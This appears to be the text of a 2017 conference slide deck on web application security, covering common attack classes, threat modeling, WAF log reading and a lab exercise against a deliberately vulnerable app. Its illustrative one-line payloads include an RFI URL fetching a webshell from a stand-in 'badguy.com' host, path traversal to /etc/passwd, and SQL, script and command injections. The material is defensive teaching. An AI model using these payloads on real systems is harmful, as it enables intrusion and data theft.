Security at the Edge

Altitude SF 2017

Jose Nazario

Jonathan Foote

Web attack overviewVulnerability and exploitation overview

Threat modelingOffensive thinking for web app defense

Reading WAF logsDetecting and preventing attacks in the wild

Attacking a web appApplying our lessons, poppin’ shells

Agenda

Src: Verizon 2017 Data Breach Investigations Report (DBIR)

Incident patterns leading to data breaches

Principal Security Architect

• Strategic security projects

• Application security

• Security architecture

Jonathan Foote

Sr Director of Security

• Sec Research

• WAF engineering

• SOC

Jose Nazario

Web Attack Overview

Common Web Application Vulnerabilities

SQL Injection (SQLi)

Cross Site Scripting

Cross Site Request Forgery

Local File Include/Directory Traversal

Remote File Include

Insufficient Authentication

Content Spoofing

Object Injection

Command injection

Remote File Include (RFI)

Instruct a web application to fetch remote code and execute

1. Code is under attacker’s control and choice

2. Code executes in the context of the server

Impact

• Possible information leak, data loss, or system access

Example

http://www.site.com/index.php?arg=http://badguy.com/webshell.php

Local File Include (LFI)

Instruct a web application to fetch files outside of document root

1. File is under attacker’s choice

2. Files must be accessible by server

Impact

• Possible information leak or data loss

Example

http://www.site.com/view.php?file=../../../etc/passwd

SQL Injection (SQLi)

Instruct a web application to execute arbitrary SQL comments because the

application failed to scrub external user input

1. SQL commands are under attacker’s choice

2. Any database executions occur with web applications rights

Impact

• Possible system access, data modification, information leak or data loss

Example

http://www.site.com/index.php?arg=1+OR+1=1

Cross Site Scripting (XSS)

A web server parrots back script code without scrubbing it. Script code may

be reflected (e.g. in a URI) or stored (e.g. in a comment).

1. Code is under attacker’s control and choice

2. Code executes in the context of the client

Impact

• Possible client-side information leak (e.g. cookies) or forgery (forged

requests)

Example

http://www.site.com/index.php?arg=<script>alert(“hi!”);</script>

Cross Site Request Forgery (CSRF)

Instruct a web client to send data to a foreign web form due to insufficient or weak

session checks

1. Data is under attacker’s choice

2. One client impersonates another

Impact

• Possible data modification, impersonation, information leak or data loss

Example<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my

Pictures!</a>

Often seen with PHP and Java applications

Serialized objects passed from client to server

Server de-serializes the object to gain information (e.g. shopping cart state)

Malicious client crafts an object and sends, server acts on malicious data

Example

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"

../../index.php";}

Object Injection

Often seen when an application uses command-line tools for help

User-supplied arguments passed to executable call

Insufficient scrubbing or character set enforcement

Example

http://server.com/tools/ping.php?ip=1.2.3.4+;+ls+-l

Command Injection

Apache Struts (CVE-2017-5638)

Command Injection Example

Examples: LFI/RFI, SQLi, command execution

Often due to string use directly from client

String concatenation often a root cause

No “scrubbing”

No enforcement of input features

Origin of Many Basic Bugs

Web application scanners (for remote apps)

Code scanners (for source-available apps)

Testing (tools and people)

Detecting Web Application Flaws

Threat modeling

Goal:Identify and reduce

security risks in a system

Threat modeling by example

Goal: Identify and reduce risks to an example web app

How: Lightweight threat modeling

1. Model the system

2. Brainstorm threats

3. Plan mitigations

4. Review model for completeness

Many other processes, all useful in their respective context.

Invite a diverse group commensurate with scope of activity

• Subject matter experts

• Security experts

• Customer advocates

• Program management

Represent factual system design and realistic future plans

Foster creativity and positive exploration of threats

Aim for practical, actionable results

Participants

Example system

haveibeenhacked.com

“Hackers continue to steal credentials databases from web service providers.

We amass stolen databases from the Dark Web and let you know if your

account info has been stolen.

Sign up for a free account to get alerts when your email appears in a

breached database!”

Features and design highlights

• Users sign up for an account and get messages when their email address

appears in a breached database

• Admins can login to the web app to manage user accounts

– Adding new entries to the breach database is done manually via ssh

• The app is behind Fastly CDN to help reduce server load

• Rails app with MySQL database backend

1. Model the system

Tool: Data flow diagramming

Trust boundaries?

DFD-0: haveibeenhacked.com

Other techniques

Hierarchical DFDs, scenario DFDs

Organization-specific modeling techniques

• Ex: UML

2. Brainstorm threats

Threat notebook

Keep a running list of threats

• Threat: what could go wrong

• Risk: impact x likelihood of exploitation

• Action: Next steps identifying and reducing risk

Write all ideas down; cull list later

Threat notebook

Tool: Asset list

Build a list of valuable resources and brainstorm threats to them

• Valuable things that you want to protect

• Things an attacker might want

• Stepping stones to an attack

Add threats to notebook as applicable

DFD-0: haveibeenhacked.comAsset List

Tool: STRIDE by Interaction

Spoofing - Falsifying identity system user

Tampering - Maliciously altering code or data

Repudiation - Denying that a malicious action was performed

Information disclosure - Unauthorized access to information

Denial of service - Denying service to legitimate users

Elevation of privilege - Gaining elevated access to resources or functionality

Ref: Microsoft “The STRIDE Threat Model”

DFD-0: haveibeenhacked.comThreat notebook

Other techniques

Attack trees

MITRE Common Attack Pattern Enumeration and Classification (CAPEC)

• Other MITRE schemas: CCE, CPE, CVE, CWE

US NIST NVD

“Elevation of Privilege” card game

OWASP guides

3. Plan mitigations

Planning mitigations

Fill out risk, actions in threat list

File tickets, plan and prioritize work

Regularly revisit analysis and prioritization

Risk analysis

Simple approach: Risk = Likelihood x Impact

Likelihood: probability of vulnerability being discovered and “exploited”

• Targeted attackers

• Opportunistic attackers

Impact: severity of consequences if it happens

• What’s the worst that could happen

Rely on security and systems experts

Action plans

Define how to reduce (or eliminate) risk

• Resolve known risks

• Provide systematic assurance that risk controlled over time

Threat: Exploit LFI to steal mailgun creds, access breach databases

Action plan:

1. Train code reviewers and use static analysis to ensure shell commands are properly escaped, dependencies are

up-to-date

2. Perform hands-on penetration test quarterly

3. Integrate web application firewall; plan config tuning as part of regular dev cycle

4. Ensure web server and databases are running as separate users with minimal privileges

5. Tune auditd and logging framework to alert on attacker probes

Resolving known risks

Fix

• Basic: Typically addressed in “bugfix” dev workflow

• Design: Requires new project effort

Mitigate

• Reduce impact or exploitability

Accept

• Get positive confirmation from stakeholders

4. Review model

Ensure model is complete

Make sure diagrams match design or implementation

Threats have been enumerated thoroughly and documented

Action plans slated for execution

• May include follow-up threat modeling activities

Completed threat notebook

Let’s take a quick 5

minute break ...

Reading WAF Logs

Fastly WAF and Request Logs

Two types of logs

• Request logs - typical Fastly logs

• WAF debug logs

– Multiple entries per request, sent when a rule matches

– Used in debugging, setup, etc

Request features

• Programming keywords (e.g. SQL, PHP)

• Encoded characters (%xx)

• Commands and filenames

Not everything is visible (e.g. POST bodies)

Repeated attempts from the same client

What to Look For

Service ID Fastly Service ID

Request ID Unique hash of the request, stable across all OWASP rule executions

Timestamp (UNIX epoch) Second-level granularity

Client IP E.g. “1.2.3.4”

Server name E.g. “www.fastly.com”

Method E.g. GET, POST, etc

URL E.g. “/cgi-bin/gs/view/sw_comment.php?id=1111111111111%27%20UNION%20SELECT%20CHAR(45|120”

...

Datacenter (using airport codes) E.g. LAX, typically geographically close to the client

WAF logged, blocked, error (booleans) Status codes, should never see error as true

Rule ID 9xxxxx is OWASP, 2xxxxx is application specific rules, 1xxxx is Fastly specific rules

Severity Set by the rule author

Message Short descriptive message about the rule

Anomaly score Used in OWASP to determine how suspicious a request is vs anomaly score thresholds, determines block

Things to look for

Who are the top attackers? What else did they do?

What attack types are the most prevalent?

Can you identify any attack tools?

What looks like a real attack? A false positive?

Demo

Actually Attacking a Web Server

What in the World?!

Purpose-built PHP scripts with obvious vulnerabilities

Failure to sanitize inputs

Vulnerabilities: local file include, remote file include, command

injection

Open source, MIT license

I created a Docker instance for you to use

The below is not intended to provide details on how to compromise other

people’s web sites and applications. The purpose is to inform developers

on how to protect themselves from malicious users and attackers. The

tools and methods listed should only be used on sites & applications

which you directly own or have permission in writing to work on.

Performing these methods on other people’s sites or applications would be

considered a crime and could land you with a criminal record or worse.

Disclaimer

1. User-controlled parameters

2. Passed in requests, POST data, etc

3. Used “as is” in a program

Root cause: Failure to enforce expectations

Resolution: Don’t just strip unwanted characters, ensure only

wanted characters are there

Unsanitized Inputs

Executes in the context of the web server

Rights, privileges, etc

Allows any user to directly interact with the server and the

network

Often happens when a web application needs to call an

external program

Command Injection

Happens when the server accesses files outside of what was expected

In PHP, included file is executed within web server scope

Local - read files locally

Remote - read files from remote servers

File Include Vulnerabilities

It’s not typically this easy, even with source

Basic attacker workflow:

1. Make a mental hypothesis of how the application might work

a. E.g. “I wonder if it’s appending this value to a command …”

2. Test the hypothesis

3. If consistent, continue attack/probes

4. If not, reformulate and try again

The Mental Attack Process

PHP’s open() call silently fetches remote files!

Also affects include()

Remote File Include (RFI)

http://192.168.18.240:8080/

Execute CMD-1 through CMD-6

Execute LFI-1 through LFI-12

Increasing level of difficulty

Can use a browser for some, but curl for

others

If you’re feeling adventurous try a web app

vuln scanner

Feel free to collaborate with others

Exercise

Wrapping Up

Threat

Modeling

Web Attack

Background

Web Attack

Practice

WAF Log

Analysis

Informs

Experience

Illuminates

Informs

Requires

Thanks

(BACKUP) Web Application Defenses

Web Application Exploit Victims

Target - other web application users

Attack other site visitors later

Target - web application contents or server

Attack the server via the application, steal the data

Web Application ThreatsCategory Example Mitigation

Availability Denial of Service Bandwidth

CPU

Memory

Packet filtering/scrubbing

Confidentiality Eavesdropping

Interception

TLS and certificate validation

Integrity SQLi

XSS

File inclusion (local, remote)

Application sandboxing

Patching against known vulnerabilities

Strict ACLs via permissions

Web application firewall (WAF)

WAF Defined - Web Application Firewall

Service that enforces a security policy between a client and a web application

Goal: disallow inputs that will violate security policy of web application

Approach:

• Behavioral - identify protocol violations

– Example: Rate limiting, header enforcement, etc

• Blacklist - identify known bad inputs by class or specific instance, block

– Example: Remote file include via a path parameter to index.php

• Whitelist - identify known inputs to the web application, allow only those

– Example: count parameter to index.php only accepts positive integers

WAF in the Security Stack

Vulnerability scanning - discover latent vulnerabilities, for fixing later

Network firewall - create and enforce network layer policies

Web proxy - possibly content caching, inbound content screening, client

visibility

Network IDS/IPS - packet-layer traffic inspection

WAF - application aware security policy enforcement

How is WAF different than DDoS?

DDoS

• Operates at Layer 7

• Protects against availabilitythreats which, if successful, can bring a site down

• Addresses application layer attacks

• Addresses network threats like SYN floods and bandwidth exhaustion attacks

WAF

• Operates at Layer 7

• Protects against known integritythreats which, if successful, can lead to website compromise

• Mitigates application-layer attacks which work by abusing web applications

Why WAF?

The consolidation of traffic over HTTPS necessitates a

web-aware control mechanism

• Application-aware inspection

• After SSL termination

Why a WAF?

Web application complexity

Endpoints, content-types, behaviors

Databases, web servers, APIs

Web traffic diversity and encoding confusion

UTF-8, ASCII, Unicode encodings

HTML, scripts, URIs and arguments

Can handle encrypted traffic (done after SSL termination)

How a Generation 1 WAF Works

1. Screens client requests inbound

2. Applies a ruleset to the request

– Regular expressions for known malicious inputs and paths

– Content scanners for heuristic analysis (e.g. libinjection, inline AV, etc)

– Protocol enforcement

– IP reputation list

3. Blocks bad clients, permits OK requests

Additional WAF Models

Generation 2 - Learns network, allows only

things it’s seen before (dynamic whitelist)

Generation 3 - Learns web applications, allows

only that which is expressly allowed

Limits of WAFs

“Virtual patching” is no complete replacement for correct

code and proper administration/installation (e.g. rights

management)

Limited by their rulesets - hence we have some generic

rules (e.g. OWASP) to look for broad classes of exploits

Regex-based, fundamental mismatch with complete

languages (e.g. SQL, PHP, etc) and their expressiveness

Why WAF?

Protect legacy applications - virtual patching

Generic ruleset protection to protect against

novel bugs and attacks

PCI Compliance

Example of Trivially WAF-Stoppable Attacks

WAF and DDoS Protection

WAF mainly focused on web application attacks and exploits

WAF can be used to detect and defeat Layer 7 DDoS however

• Numerous HTTP-layer DDoS attacks, e.g. Apache ByteRange bug

• Not bandwidth obvious (e.g. via “top talkers”)

• Requires inspection

WAF rules come with many DDoS protection means

Frequency of Web Application Vulnerabilities

Where Those Vulnerabilities Come From

Source: https://www.htbridge.com/news/web_application_security_trends_in_2013.html

Extra DBIR graphs

Src: Verizon 2017 Data Breach Investigations Report (DBIR)

DBIR: Breaches and incidents

Src: Verizon 2017 Data Breach Investigations Report (DBIR)

DBIR: Web app breakdown